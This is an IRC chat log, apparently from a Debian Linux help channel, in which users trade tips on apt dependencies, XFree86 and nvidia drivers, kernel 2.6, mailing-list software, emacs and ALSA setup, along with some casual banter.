| 03:00.28 | Zone | tuxillo: I see, that is a dual nic board, probably one works and the other doesn't? |
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| 03:00.34 | chacal | master hmmm, i'm afraid of this kind of thing :P |
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| 03:00.42 | master | chacal so am i |
| 03:00.44 | chacal | master do u work with java ? |
| 03:00.50 | cappicard | feast your eyes on this: http://home.kc.rr.com/cappicard/images/vcr-screenshot.png :) |
| 03:01.01 | master | no, i know some jscript but i dont use it on a regular basis :D |
| 03:01.12 | tuxillo | Zone: Yep, the other doesn't. But I just need one of them |
| 03:01.30 | jnagyjr | Does anyone know who created the Phosphor screensaver for Xscreensaver? That thing is funny, especially when using fortune for the text file. ;) |
| 03:01.46 | chacal | master java is not javascript |
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| 03:01.58 | master | chacal i know, i was just pointing that out :D |
| 03:02.15 | tuxillo | Zone: But I don't know if the problem comes from ethernets |
| 03:02.17 | jnagyjr | Perlscript is Perl, though. |
| 03:02.27 | master | chacal i can read through some java source, and i think i got an ok grip on it, but i havent ever tried to write anything |
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| 03:02.57 | davidmccabe | hi |
| 03:03.00 | davidmccabe | apt-get install kbd |
| 03:03.05 | davidmccabe | The following packages will be REMOVED: |
| 03:03.05 | davidmccabe | <PROTECTED> |
| 03:03.09 | Zone | tuxillo: probably not. Check the logs for any oops or panic, and enable the NMI watchdog in the kernel if the logs don't show anything |
| 03:03.21 | davidmccabe | I must ask, why is base-config being removed? |
| 03:03.33 | tuxillo | Zone: Can I show you dmesg? |
| 03:03.46 | Zone | tuxillo: in #flood |
| 03:03.59 | tuxillo | Zone: Ok |
| 03:04.01 | jnagyjr | Oh yeah, that reminds me. I want to install vorbis-tools so I can play ogg's and such, but it wants to remove like 90% of KDE 3.1.4. WTF is up with that? |
| 03:04.11 | master | rofl |
| 03:04.30 | master | sounds like vorbis is trying to nuke kde and kbd is trying to nuke debian |
| 03:04.38 | tuxillo | Zone: I think it would be better sending it to you |
| 03:04.39 | tamran | well, setterm did nothing while in X |
| 03:04.39 | davidmccabe | yeah really |
| 03:04.47 | davidmccabe | and I'm *really* annoyed by this repeat rate. hehe |
| 03:04.58 | jnagyjr | Granted I don't use KDE anymore, but I would still like to be able to use KMail <--- Fav mail client of all time |
| 03:05.04 | master | lol |
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| 03:05.12 | davidmccabe | KMail is nice. |
| 03:05.16 | davidmccabe | may I recommend mutt |
| 03:05.20 | Zone | tuxillo: paste it at http://paste.msunix.org/ |
| 03:05.24 | RainbowW | mutt rox |
| 03:05.33 | Sebulba02 | heh |
| 03:05.36 | ludwig | running kicker for kicks? heh |
| 03:05.43 | jnagyjr | No, i've tried using mutt before. I like Pine better wrt command line email clients |
| 03:05.47 | jnagyjr | ludwig: Yep. Hehe |
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| 03:05.50 | master | pine :D |
| 03:05.59 | ludwig | bah. use cat $MAIL |
| 03:06.01 | RainbowW | mutt is no longer elm? |
| 03:06.05 | jnagyjr | kicker in wmaker = just wrong |
| 03:06.08 | davidmccabe | ludwig: :D |
| 03:06.14 | davidmccabe | RainbowW: elm is dead. |
| 03:06.16 | nictuku | 1 |
| 03:06.28 | initech | gravity: mutt is easy |
| 03:06.33 | chemicallyrelian | vote 1! pine |
| 03:06.41 | davidmccabe | RainbowW: mutt seems to have superseded it |
| 03:06.53 | jnagyjr | Right now I can't use kmail (or knode <--- fav news reader) due to relocation error: /usr/lib/kdenetwork.so.2 and then something about unrecognized symbols |
| 03:07.00 | gravity | initech: I know. I use it, but it's gone tons of powerful features that I don't take advantage of. |
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| 03:07.10 | gravity | initech: My .muttrc just got updated a few weeks ago. It rocks now :-) |
| 03:07.27 | master | i really need to upgrade to one of those amd fx 51's :D |
| 03:07.37 | davidmccabe | brb |
| 03:07.39 | jnagyjr | I need to upgrade to a new computer. |
| 03:07.50 | initech | gravity: yeah i don't se it very much, but i do use it for mailing lists i subscribe to that are high volume |
| 03:07.50 | RainbowW | master: i have two athlon 2000+'s ... :) |
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| 03:08.03 | master | does anyone know if its possible to run a dual amd fx51? |
| 03:08.24 | master | i kno the fsb is intigrated onto the chip, so im not sure if its possible |
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| 03:08.48 | gravity | initech: Me too. It's great for that |
| 03:08.56 | RainbowW | jnagyjr: just two? |
| 03:09.12 | jnagyjr | RainbowW: I already have one 100GB HDD ;) |
| 03:09.18 | initech | gravity: yeah, it's born for shit like that |
| 03:09.24 | master | jnagyjr a quick trip to pricewatch will reveal that you can get a western digital 120Gb 7200rpm 8Mb cache for $87 |
| 03:09.33 | chemicallyrelian | smp is great |
| 03:09.36 | jnagyjr | initech: mmmmmm, SCSI. *drool* I can't afford SCSI though |
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| 03:09.42 | RichiH | "initech" heh :) |
| 03:09.49 | initech | jnagyjr: ebay :-) |
| 03:10.05 | jnagyjr | initech: I can't afford ebay. :p |
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| 03:10.11 | initech | RichiH: get to work, it;s not a half day you know, mm kay? |
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| 03:10.55 | jnagyjr | Yahoo sucks. They send UserAgent specific styles for their website. |
| 03:11.05 | master | so does anyone know if it is possible to have a dual amd fx51? |
| 03:11.31 | ecstatix | is anyone using xfce4 and unstable? |
| 03:11.47 | initech | ecstatix: occaisionally ... |
| 03:12.20 | ecstatix | initech: today's apt-get upgrade, are there new upgrades? I installed xfce4 yesterday evening.. |
| 03:12.32 | ecstatix | and have been converted to it from gnome |
| 03:12.47 | initech | ecstatix: yes i noticed that too, dist-upgrade wanted to remove xfwm4 |
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| 03:12.58 | initech | ecstatix: i blew it off |
| 03:13.15 | ecstatix | initech: haha. i am doing a apt-get upgrade |
| 03:13.26 | ecstatix | so xfce4 is not being removed i think |
| 03:13.51 | ecstatix | hmm, icewm is also new, as is mozilla firebird |
| 03:14.22 | Pryon | eeek. Beena few hours since I upgraded. xfce4 stuff there. |
| 03:14.30 | Pryon | Nothing slated for removal, though |
| 03:14.45 | jnagyjr | I'm using Firebird, but it now identifies as Incontinence Exploder 6.0 on LoseDos 8.3 |
| 03:14.54 | holycow | when installing debian, where it asks to add sources, i would like to add a local ftp account something like user:pass@192.168.1.100, or the like. is it possible to specify username and pass for specific ftp accounts or does deb config always assume anonymous accounts? |
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| 03:15.01 | initech | ecstatix: yeah upgrade won't remove anything |
| 03:15.11 | ecstatix | Pryon: If you do a dist-upgrade, it will ask you to remove, only upgrade wont |
| 03:15.31 | ecstatix | holycow: yes, yuo can give a user/pass |
| 03:15.31 | Pryon | I guess I won't be doing a dist-upgrade, then :-) |
| 03:15.32 | master | is 4.1.0.1 the latest version of X avalable over apt? |
| 03:15.51 | initech | holycow: of course you can just modify your sources.list to your heart's content |
| 03:15.59 | holycow | ecstatix is the format user:pass@ip or? |
| 03:16.08 | holycow | that one doesnt seem to work for some reason |
| 03:16.17 | Pryon | master : 4.2.1-15 |
| 03:16.22 | jnagyjr | master: No, 4.3 is |
| 03:16.30 | ecstatix | master: you can get 4.3 from experimental |
| 03:16.44 | jnagyjr | I have to use 4.3 |
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| 03:16.54 | initech | ecstatix: you can get 4.3 from DRI as well, probably better ... |
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| 03:17.09 | ecstatix | ecstatix: DRI? |
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| 03:17.21 | ecstatix | err, |
| 03:17.26 | ecstatix | initech: what's DRI? |
| 03:17.26 | initech | ecstatix: the DRI guys package xfree for unstable |
| 03:17.46 | ecstatix | initech: link? sources.list line? |
| 03:17.57 | initech | ecstatix: dri.sourceforge.net I believe |
| 03:18.25 | initech | ecstatix: it's for the 3D stuff that's Free |
| 03:18.28 | ecstatix | initech: ok, lemme check. i had to use X 4.3 because of my i845 chipset. Been 2 weeks since my first install. works nice |
| 03:18.41 | ecstatix | Does i845 support 3D? |
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| 03:19.16 | ecstatix | ncie. upgrade complete. 18M downloaded and installed |
| 03:20.12 | jnagyjr | apt-get must hate me. It's having to hold back KDE 3.1.2 stuff from testing 'cause I got 3.1.4 installed from "stable" hehe |
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| 03:21.52 | master | ecstatix : well how do i do that using apt? |
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| 03:22.16 | master | ecstatix : get 4.3 that is (sorry was watching code fly by) |
| 03:22.45 | master | rofl |
| 03:23.07 | jnagyjr | I can always re-install 3.1.4 after I get vorbis-tools installed. And it's not like I use KDE anymore. |
| 03:23.22 | master | lol |
| 03:23.38 | ecstatix | master: serach google. i came across a page that said what specific packages to get |
| 03:23.57 | initech | jnagyjr: i just wish knode could get the "threading" thing straight |
| 03:23.58 | master | ecstatix ok will do, thanx |
| 03:23.59 | ecstatix | master: if you hold on, i could re-find it |
| 03:24.06 | master | ecstatix thanx |
| 03:24.11 | jnagyjr | initech: Oh? I had no problems with knode threading. |
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| 03:24.35 | jnagyjr | I wish Pan would get GPG support. That way I wouldn't have to use KNode |
| 03:24.52 | initech | jnagyjr: really? it separates all threads like a MF over here, all over the place |
| 03:24.56 | ecstatix | master: you using woody or unstable? |
| 03:25.08 | master | ecstatix im using woodie |
| 03:25.13 | master | woody* |
| 03:25.31 | ecstatix | master: http://www.linuxcompatible.org/story17614.html |
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| 03:26.26 | jnagyjr | initech: That's odd. I only have the problem when people use clients that kill the thread header |
| 03:26.34 | RainbowW | quickest way to make a kernel compile finish: change the cat litter |
| 03:26.43 | ecstatix | eh? |
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| 03:27.27 | ecstatix | http://www.symonds.net/~zeeble/screenshot.png anyone suggest a better font for xchat than that? |
| 03:27.53 | RainbowW | ecstatix: what's wrong with that? |
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| 03:28.05 | ecstatix | RainbowW: large fonts |
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| 03:28.57 | TheAsp | i've been using verdana for a long time now :P |
| 03:29.44 | RainbowW | was there some format change in ext2 between 2.2.x and 2.6.0? |
| 03:29.47 | jnagyjr | I still don't understand why vorbis-tools depends on anything from KDE. that's just cracked. |
| 03:30.02 | jnagyjr | RainbowW: You still use ext2? |
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| 03:30.27 | Misirlou | jnagyjr: Er, vorbis-tools doesn't depend on anything from KE. |
| 03:30.29 | Misirlou | *KE |
| 03:30.29 | ecstatix | TheAsp: switched to Trebuchet. looks better now. let me now try verdana |
| 03:30.36 | Misirlou | gah, D key is borked |
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| 03:30.49 | master | so, would anyone suggest preemptive kernel for 2.6.0? :D |
| 03:31.08 | ecstatix | master: maybe #kernelnewbies |
| 03:31.12 | jnagyjr | Misirlou: Yes it does, otherwise I wouldn't have to nuke KDE 3.1.4 in favor of an earlier version just so I can install vorbis-tools. |
| 03:31.20 | master | lol |
| 03:31.36 | Misirlou | jnagyjr: No, it does not. . . . |
| 03:31.49 | jnagyjr | Misirlou: Join me in flood, I'll show you. |
| 03:33.11 | chemicallyrelian | whats the apt-get for NVIDIA drivers? |
| 03:33.28 | mwilson | Misirlou: Why is #flood necessary? You can't tell anyone what the dependency is? |
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| 03:33.51 | Misirlou | I'm not the one that recommended #flood. |
| 03:34.08 | ecstatix | chemicallyrelian: #topic? |
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| 03:34.24 | Misirlou | Depends: libao2 (>= 0.8.4), libc6 (>= 2.3.2.ds1-4), libcurl2 (>= 7.10.8-1), libflac4, libogg0 (>= 1.1.0), liboggflac1, libspeex1, libssl0.9.7, libvorbis0a (>= 1.0.1), libvorbisenc2 (>= 1.0.1), libvorbisfile3 (>= 1.0.1), zlib1g (>= 1:1.2.1) |
| 03:34.29 | jnagyjr | mwilson: I'm posting a lot of stuff |
| 03:34.36 | Misirlou | I don't see anything there from KDE. |
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| 03:35.29 | bztunk | haha |
| 03:35.30 | bztunk | diss |
| 03:36.03 | ecstatix | is there a emacs channel? or does anyone know if there is a xemacs package with gtk2 support? i mean xemacs compiled with gtk2 |
| 03:36.30 | davidmccabe | #emacs |
| 03:36.35 | davidmccabe | ecstatix: a fantastic channel. |
| 03:36.44 | Misirlou | Is there also #xemacs? |
| 03:36.50 | ecstatix | davidmccabe: thanks |
| 03:37.01 | davidmccabe | Misirlou: I don't think so. |
| 03:37.10 | davidmccabe | Misirlou: many xemacs questions get answered on #emacs |
| 03:37.15 | Misirlou | 'Kay. |
| 03:37.20 | davidmccabe | they aren't different enough to warrent different channels methinks |
| 03:37.38 | davidmccabe | (gnu emacs and xemacs are like %96 identical. hehe) |
| 03:38.15 | ecstatix | davidmccabe: i am looking for a gtk2 xemacs, then use it for a ffew days, and then learn to use gnus with xemacs |
| 03:38.17 | bob2 | RainbowW: 2.6 added some stuff like directory indexing or hashing or something, but it should still be mountable under 2.2. |
| 03:38.21 | jnagyjr | hey guys, I'll be back later. I need to continue this fix at the command line. Later. |
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| 03:38.39 | davidmccabe | ecstatix: why gtk2? |
| 03:38.47 | mwilson | "continue this fix at the command line"... <snicker> |
| 03:39.17 | billyoc | hehe |
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| 03:40.35 | simonrvn | isn't that where you usually fix stuff? for me anyay |
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| 03:40.36 | ecstatix | davidmccabe: well, not much much, except for kicks i guess :) I have been using it for a few days and really liekd it. Once it starts up. It takes like 10 seconds to start |
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| 03:41.10 | davidmccabe | ecstatix: ewww |
| 03:41.16 | davidmccabe | ecstatix: the non-X version is way faster |
| 03:41.22 | davidmccabe | ecstatix: and about a third the memory usage |
| 03:41.24 | bob2 | use dtemacs. |
| 03:41.31 | bob2 | then it loads faster than a new xterm./ |
| 03:41.40 | bob2 | erc? |
| 03:41.41 | bob2 | mwahaha. |
| 03:41.45 | davidmccabe | yeppers :) |
| 03:41.46 | davidmccabe | I'm using ERC Version 4.0 $Revision: 1.577 $ with Emacs 21.3.1! |
| 03:41.52 | billyoc | erc, of course. What else is there? |
| 03:42.04 | bob2 | irssi-text. |
| 03:42.09 | davidmccabe | billyoc: there are other chat clients for emacs. |
| 03:42.11 | bztunk | :D |
| 03:42.11 | davidmccabe | but erc is best. |
| 03:42.24 | bob2 | it's 31337 Perl support is 313 better than your primitive lispability! |
| 03:42.30 | billyoc | davidmccabe: ah, i've heard there are others now that you mention it. |
| 03:42.41 | davidmccabe | emacswiki.org |
| 03:42.54 | billyoc | bob2: does irssi have perl scripting? |
| 03:43.08 | billyoc | elisp *is* pretty primitive. :) |
| 03:43.14 | ecstatix | davidmccabe: do you have a nice .emacs? |
| 03:43.20 | davidmccabe | yeah, ecstatix |
| 03:43.30 | davidmccabe | ecstatix: around 300 lines if I recall. nothing fancy. |
| 03:43.33 | mwilson | <sigh> Sometime in the next million years, the rest of X 4.2.1-15 will get autobuilt. The day after that, the world will end. |
| 03:43.38 | ecstatix | davidmccabe: i am playing with the default options, but would like a new one too, so i can stick it around and see |
| 03:43.50 | ecstatix | davidmccabe: can you please send it? |
| 03:43.51 | billyoc | ecstatix: check out emacswiki.org |
| 03:44.00 | ecstatix | billyoc: danke |
| 03:44.13 | davidmccabe | ecstatix: http://dmccabe.org/~david/dotemacs |
| 03:44.26 | bztunk | mwilson: i thought that the x force team was going to drop X 4.2 ... was happened? |
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| 03:44.29 | master | kernel 2.8.x should have a new config option, telepathy, you imagin what you want yur linux system to do, and it configures itself accordingly |
| 03:44.38 | mwilson | bztunk: Where did you get that idea? |
| 03:44.52 | mwilson | bztunk: Certainly wasn't said anywhere. |
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| 03:44.59 | bztunk | mwilson: from the changelog from a while back. |
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| 03:45.26 | mwilson | Let's see... 4.3.x isn't in unstable yet, so by all means we should abandon 4.2.1 |
| 03:45.40 | ecstatix | hehe |
| 03:45.40 | billyoc | :) |
| 03:45.40 | mwilson | Why, we obviously don't need any X at all. |
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| 03:45.57 | bztunk | mwilson: well, drop in as we just work on 4.3 |
| 03:45.57 | master | i still dont have x running :D |
| 03:45.58 | mwilson | Do people ever listen to themselves? |
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| 03:46.02 | Misirlou | X is horrible. |
| 03:46.09 | floppyears | does anyone know what is the difference between amd barton and thorton core? |
| 03:46.09 | Misirlou | DROP IT |
| 03:46.12 | master | yeah maby we all should move to Y windows |
| 03:46.26 | simonrvn | ZWindoZe |
| 03:46.27 | billyoc | gtk framebuffer |
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| 03:46.37 | mwilson | floppyears: AMD's data sheets do. If you think YOU need to know, go read. |
| 03:46.48 | bztunk | <PROTECTED> |
| 03:46.48 | bztunk | <PROTECTED> |
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| 03:46.52 | master | simonrvn link me to zwindows (i was serious about y windows :P) |
| 03:46.56 | bztunk | [...] |
| 03:46.59 | bghfhfg | In sed how do you delete line X at linenumber Y from file Z and add line A at linenumber Y in file Z? |
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| 03:47.03 | vaportrail1 | quite |
| 03:47.07 | simonrvn | but LaMont Jones persuaded me to |
| 03:47.12 | godzirra | can anyoen tell me why Ican't use my arrow keys in vim while in Visual Line mode? I can use them normally, just not in visual line mode. |
| 03:47.19 | mwilson | bztunk: Yes, and you're back down at 12.1, then, while the rest of us are up at 14 |
| 03:47.24 | simonrvn | bztunk: keep reading |
| 03:47.42 | bztunk | simonrvn: of course, they changed their idea heh |
| 03:47.52 | Seb_ | bhunji: you read the sed HOWTO |
| 03:47.56 | Seb_ | hrm |
| 03:48.03 | Seb_ | bghfhfg: you read the sed HOWTO |
| 03:48.17 | bghfhfg | Where? |
| 03:48.25 | wasabi | There any popular kernel optimizations to be set to prevent something like copying 200 files from causing XMMS to stutter? Basically my kernel doesn't seem to be able to handle those two things at the same time. |
| 03:48.37 | bob2 | no, it's not your kernel's problem |
| 03:48.48 | wasabi | well then what would it be? |
| 03:49.18 | RainbowW | was there some format change in ext2 between 2.2.x and 2.6.0? |
| 03:49.21 | bztunk | xmms's? :D |
| 03:49.25 | ecstatix | davidmccabe: hey, thanks. nice .emacs. And yeah, you need to change the "socialogy" on yourr webpage to sociology methinks |
| 03:49.45 | davidmccabe | ecstatix: oops. thanks! hehe |
| 03:49.48 | lazarus | wasabi: man nice |
| 03:50.01 | wasabi | lazarus, the CPU isn't being hurt. =/ |
| 03:50.18 | wasabi | it's totally IO |
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| 03:50.30 | bob2 | wasabi: enable DMS. |
| 03:50.32 | bghfhfg | Where is the sed HOWTO? |
| 03:50.34 | wasabi | DMS? |
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| 03:50.38 | wasabi | DMA? |
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| 03:51.03 | davidmccabe | bghfhfg: there is no sed HOWTO. there is a sed manpage. |
| 03:51.07 | bob2 | DMA, yes. |
| 03:51.12 | wasabi | Does DMA apply to RAID 5 Scsi devices? :) |
| 03:51.14 | sambatron | hello, I need a recommendation. I want to set up a mailing list with exim. What should I use ? |
| 03:51.15 | soleil | I'm having a very peculiar problem :-/ i can't run window managers like PWM and Kahakai because the mouse doenst work in them... but if i load WindowMaker and run kahakai/PWM through those, it works... any ideas? |
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| 03:51.57 | mwilson | soleil: If you're loading WindowMaker, you're not running pwm or anything else while it's running. 'Nuff said. |
| 03:52.00 | billyoc | http://sed.sourceforge.net/grabbag/tutorials/ |
| 03:52.20 | mwilson | soleil: I don't know what you ARE doing, but it's certainly nothing to do with what you think you're doing. |
| 03:52.26 | soleil | mwilson, i can load kahakai after loading window maker in the same X session |
| 03:52.32 | bob2 | sambatron: mailman! |
| 03:52.39 | wasabi | yeah it stutters bad |
| 03:52.40 | bob2 | soleil: does X by itself have a working mouse? |
| 03:52.41 | mwilson | If you say so. |
| 03:52.45 | sambatron | bob2 : thanks :) |
| 03:52.47 | Zone | sambatron: yep, mailman |
| 03:52.49 | wasabi | cpu just peaked at 4%. |
| 03:52.49 | bob2 | wasabi: kernel.kolivas.org |
| 03:53.04 | soleil | bob2 i have to try |
| 03:53.08 | soleil | bob2, one second |
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| 03:53.31 | bob2 | hah |
| 03:53.31 | ecstatix | what was kahakai btw? |
| 03:53.36 | sambatron | bob2 : mailman installs apache ?! |
| 03:53.39 | wasabi | ahh interesting |
| 03:53.41 | bob2 | teh greatest WM in the world. |
| 03:53.43 | ecstatix | sambatron: yes |
| 03:53.44 | mwilson | It's a fork of waimea. |
| 03:53.47 | bob2 | sambatron: NFC. |
| 03:53.49 | ecstatix | yikes. |
| 03:53.56 | simonrvn | sambatron: well yeh.. |
| 03:54.01 | sambatron | ecstatix : I need something simpler |
| 03:54.03 | bob2 | mwilson: "continuation", the waimea author has been MIA for over a year. |
| 03:54.11 | bob2 | sambatron: it wants a webserver for the web interface. |
| 03:54.14 | bob2 | !depends mailman |
| 03:54.20 | sambatron | I will use a pentium 100 for that |
| 03:54.20 | dpkg | mailman: depends on libc6 (>= 2.3.2.ds1-4), python (>= 2.2.2.91-1), logrotate, cron (>= 3.0pl1-42), exim | mail-transport-agent, apache | httpd, debconf, ucf (>= 0.08), pwgen |
| 03:54.26 | mwilson | bob2: "fork"... it goes in totally new directions. |
| 03:54.28 | ecstatix | sambatron: its simple. the administration is done via a browser |
| 03:54.28 | master | well this channel just went from being slow to so confusing that i cant keep up, either that or i need more coffie :D |
| 03:54.42 | ecstatix | sambatron: that's the easiest ML manager |
| 03:54.47 | sambatron | yes, but it's a pentium 100 with less that 40Mb of free space |
| 03:54.54 | simonrvn | mas you should see it at its busiest |
| 03:55.15 | sambatron | I'd like to set it up using the console |
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| 03:55.22 | yaman | bob2: no it doesnt |
| 03:55.27 | ecstatix | sambatron: then what sort of ml are you going to run off it? heck, 40M of free space |
| 03:55.29 | soleil | bob2: no |
| 03:55.31 | wasabi | nvidia needs to get stuff out for 2.6 |
| 03:55.40 | simonrvn | <PROTECTED> |
| 03:55.44 | master | wasabi what do u mean? |
| 03:55.45 | sambatron | ecstatix : something simple :) |
| 03:55.51 | mwilson | wasabi: Why? So the same morons can villify them all over again? |
| 03:55.55 | wasabi | yup |
| 03:55.56 | master | nvidia drivers dont work under .2.6? |
| 03:56.02 | bob2 | s/under 2.6// |
| 03:56.04 | wasabi | master, mine don't, stabally. |
| 03:56.05 | ecstatix | sambatron: listserv |
| 03:56.06 | wasabi | stabilly. |
| 03:56.13 | sambatron | ecstatix great |
| 03:56.15 | soleil | wasabi: http://www.minion.de/nvidia.html |
| 03:56.18 | master | wasabi which driver versions are you using? |
| 03:56.21 | mwilson | master: No, in case you didn't notice, modules work differently. |
| 03:56.21 | ecstatix | sambatron: qmail plus ezmlm |
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| 03:56.42 | wasabi | soleil, those have a tendancy to totally hose my systems in ways I thought impossible. |
| 03:56.46 | sambatron | ecstatix : I'm running exim |
| 03:56.56 | master | mwilson : i dont have 2.6 compiled yet, it keeps failing on me :D |
| 03:56.57 | ecstatix | sambatron: well, try listserv |
| 03:57.00 | soleil | wasabi: do it manually.. the prebuilt ones dont work for me either |
| 03:57.12 | wasabi | Oh I got em working. |
| 03:57.17 | mwilson | master: I wouldn't know... I don't have any reason to be messing with 2.6 |
| 03:57.20 | wasabi | But when I start gnome meeting, they crash my ssytem. |
| 03:57.23 | sambatron | no debian package for listserv ? |
| 03:57.26 | wasabi | Hard. Have to reset PSU for 5 seconds to get it back |
| 03:57.31 | wasabi | After which I have major file system corruption. |
| 03:57.35 | wasabi | Im not messing with that again. :) |
| 03:57.41 | ecstatix | master: /usr/src/linux/Documentation/Changes, /usr/src/linux/scripts/ver_linux |
| 03:57.46 | master | mwilson : then maby i should cancle my 2.6 compile untill a later time |
| 03:58.01 | mwilson | When did listserv become free software? |
| 03:58.07 | master | ecstatix : whats that fot? |
| 03:58.09 | simonrvn | *shrug* |
| 03:58.14 | master | ecstatix : ooo nvm |
| 03:58.15 | master | lol |
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| 03:58.37 | DMJC | ok, I have a problem, I just threw in 512mb of ram and i'm getting program crashes all over the place |
| 03:58.44 | simonrvn | <PROTECTED> |
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| 03:58.48 | RainbowW | Cobain: what fs is root for you? |
| 03:58.50 | Covener | DMJC: memtest86 for a while? |
| 03:58.51 | mwilson | master: Do what you like. Cluebies all over the world are racing to be more 'l33t than their kiddie friends by running 2.6.0 |
| 03:58.57 | Cobain | ext3 |
| 03:59.03 | DMJC | I've got memtest 86... buty I don't have a boot drive.. |
| 03:59.32 | mwilson | DMJC: Of course you do. Otherwise how would you be whining about program crashes? |
| 03:59.34 | bob2 | DMJC: so read the instrucvtions and boot it from lilo. |
| 03:59.37 | master | mwilson well i have a geforce 4 and if the drivers arnt stable, then that essentialy makes X useless to me |
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| 03:59.52 | ecstatix | sambatron: http://linuxgazette.net/issue91/price.html |
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| 03:59.59 | bob2 | master: don't be stupid, you can obviously use X without the stupid binary-only drivers. |
| 04:00.01 | Cobain | hmm my scroll wheel isnt working |
| 04:00.04 | Cobain | strange... |
| 04:00.11 | sambatron | what about sympa ? |
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| 04:00.14 | mwilson | bob2: GF4, remember. |
| 04:00.20 | ecstatix | mwilson: when does it become safe to use a new kernel, by the time it reaches .5, or .10 plus? |
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| 04:00.22 | DMJC | toooo unstable damnit |
| 04:00.26 | master | bob2 : well ive messed with the nv drivers for 3 days now and it keeps failing |
| 04:00.26 | bob2 | !+geforce4 |
| 04:00.27 | dpkg | methinks geforce4 is Unfortunately, GeForce4 cards are not supported by XFree86 4.1, which is in woody. You can either get X4.2 (/msg dpkg x4.2 woody backport), or get the non-Free nvidia drivers (/msg dpkg nvidia) or use the 'vesa' driver. or upgrade to testing |
| 04:00.30 | ecstatix | sambatron: not many people use it i guess |
| 04:00.36 | bob2 | DMJC: then pull the ram and see if it works. then run memtest86. |
| 04:00.39 | bob2 | master: ^ |
| 04:00.39 | soleil | master: what is failing? |
| 04:00.47 | master | bob2 : i know your right though, cuz knoppix works fine with my card, and i dont think they have the binary only drivers |
| 04:00.49 | bob2 | mwilson: easily fixed, even on woody. |
| 04:00.56 | bob2 | master: read above. |
| 04:00.57 | soleil | master: X or the module setup? |
| 04:00.57 | sambatron | ecstatix : and smartlist ? |
| 04:01.08 | mwilson | ecstatix: Make your own decision about a kernel. |
| 04:01.09 | DMJC | k |
| 04:01.13 | ecstatix | sambatron: yeah, smartlist!! |
| 04:01.18 | sambatron | ecstatix : or ecartis ? |
| 04:01.24 | bob2 | or enemies of carlotta |
| 04:01.31 | bob2 | weirdest. name. ever. |
| 04:01.56 | soleil | master: i was unable to get nvidia drivers working properly until i upgraded to X4.3 (unstable) |
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| 04:02.17 | master | soleil : im gonna upgrade to 4.3 now then |
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| 04:02.24 | bob2 | 4.2 is all you need. |
| 04:02.28 | bob2 | as the factoid says |
| 04:02.28 | master | soleil : any stability problems with it? |
| 04:02.34 | soleil | master: but can you even modprobe your module? |
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| 04:02.41 | ecstatix | mwilson: hmm, true. If i was experienced enough, i would'nt even ask :) And since I am too new, i really should'nt be bothering with which version I am using. My kernel compiling experience has been limited to getting the 2.4.23 kernel built which had support for my onboard NIC which was not there in earlier versions |
| 04:02.44 | master | soleil : any _known_ stability problems |
| 04:02.49 | holycow | <PROTECTED> |
| 04:02.52 | master | soleil yeah i can modprobe it |
| 04:02.52 | soleil | master: i havent had any trouble yet. |
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| 04:03.01 | soleil | master: besides my mouse not working with all window managers :) |
| 04:03.12 | holycow | googles not being helpfull :/ |
| 04:03.25 | mwilson | soleil: Which is pretty much total nonsense. |
| 04:03.37 | master | soleil : hope your not serious |
| 04:03.45 | bob2 | why would you use a password "protected" ftp server? |
| 04:03.49 | soleil | mwilson: i didnt say it was sensical... im in here looking for suggestions |
| 04:03.57 | mwilson | PEBKAC |
| 04:04.21 | ecstatix | soleil: well, mouse works with pwm for me |
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| 04:04.46 | soleil | master: i doubt its an X problem.. probably something wrong with configuration. my mouse doesnt work if i put kahakai or pwm in my ~/.xinitrc... but if i put "xterm -e wmaker" in there, i can close wmaker and load pwm with mouse working... its weird |
| 04:05.04 | master | soleil o ok |
| 04:05.15 | Covener | mwilson: haha!~ |
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| 04:05.23 | master | soleil gonna be using fluxbox and blackbox myself mostly, have u tried it with that? |
| 04:05.34 | soleil | master: yeah, it worked fine.. |
| 04:05.48 | troubled | mwilson: for dns resolving, after stopping bind9, is there anything that could be causeing and old and now removed nameserver entry from /etc/resolv.conf from working locally? |
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| 04:05.58 | master | soleil ok thats all i need to knwo |
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| 04:06.18 | troubled | mwilson: err, I mean got a guy whos getting old cached copied of a lookup. should bind9 restart fix that? |
| 04:06.21 | bob2 | tizz_: turn that off. |
| 04:06.27 | ecstatix | I installed xfce4 last night. its beautiful. |
| 04:06.36 | ecstatix | Fast and easy to work with |
| 04:06.51 | mwilson | troubled: It's obviously not talking to the copy of bind. You said it wasn't running. |
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| 04:08.01 | troubled | mwilson: thats what I thought, but just curious if lwresd would have cached old copies. turns out his dhclient.conf is messing up for some reason and it defaults back to the original dhcp dns instead of 127.0.0.1 |
| 04:08.02 | ecstatix | do you peeps in US have 5 days of classes at uni, or 6? |
| 04:08.27 | bztunk | 6? ouch |
| 04:08.41 | troubled | ecstatix: whats next? 7 days? :) |
| 04:09.06 | soleil | I set-up alsa, and I was able to successfully modprobe snd-emu10k1, but when i try to write to /dev/dsp, it says that the device does not exist... this is my first time using alsa, but it should also use /dev/dsp, right? |
| 04:09.51 | bztunk | soleil: alsa doesn't use /dev/dsp |
| 04:10.00 | mwilson | Why're you running lwresd? |
| 04:10.05 | master | soleil : after you edited your /etc/apt/sources.list what did you do to install 4.3? |
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| 04:10.08 | soleil | bztunk: what does it use? i enabled OSS emulation... |
| 04:10.12 | Covener | soleil: /dev/dsp is the oss interface, if you want to use it you need the oss compat modules |
| 04:10.18 | jholt | soleil, modprobe snd_pcm_oss |
| 04:10.29 | bztunk | soleil: donno heh, but yeah you need to load the module |
| 04:11.14 | troubled | mwilson: actualy, he isnt, but i noticed my system is and was curious if that would be causing problems. I assume its safe to remove lwresd if i run fulll bind then? |
| 04:11.16 | ecstatix | bztunk troubled I have a class starting in 20 minutes in a saturday |
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| 04:11.20 | bztunk | soleil: but your programs should use alsa heh :D |
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| 04:11.25 | troubled | ecstatix: that sucks heh |
| 04:11.35 | mwilson | Don't know what running bind would have to do with it. |
| 04:11.39 | bztunk | ecstatix: well, if you're retarded :D, then it's ok i think |
| 04:12.06 | troubled | mwilson: lwresd is a dns caching server is it not? or caching local dns requests? wouldnt bind elimante the need for it? |
| 04:12.19 | soleil | jholt: ah, i didnt realize there was a separate module for oss emulation. thanks |
| 04:12.26 | soleil | bztunk: got it, thanks |
| 04:12.48 | soleil | master: apt-get -t unstable install xserver-xfree86 |
| 04:12.53 | mwilson | troubled: You can talk to a DNS anywhere. It doesn't have to be local to the box. |
| 04:13.12 | adamhall | is a seagate 120GB 7200rpm 2mb for $80.99 good? |
| 04:13.16 | troubled | mwilson: but if I run bind9 locally, do I even need lwresd? |
| 04:13.17 | bztunk | troubled: donno if it's going to help you, but i use pdns as a caching dns |
| 04:13.22 | adamhall | sounded good to me |
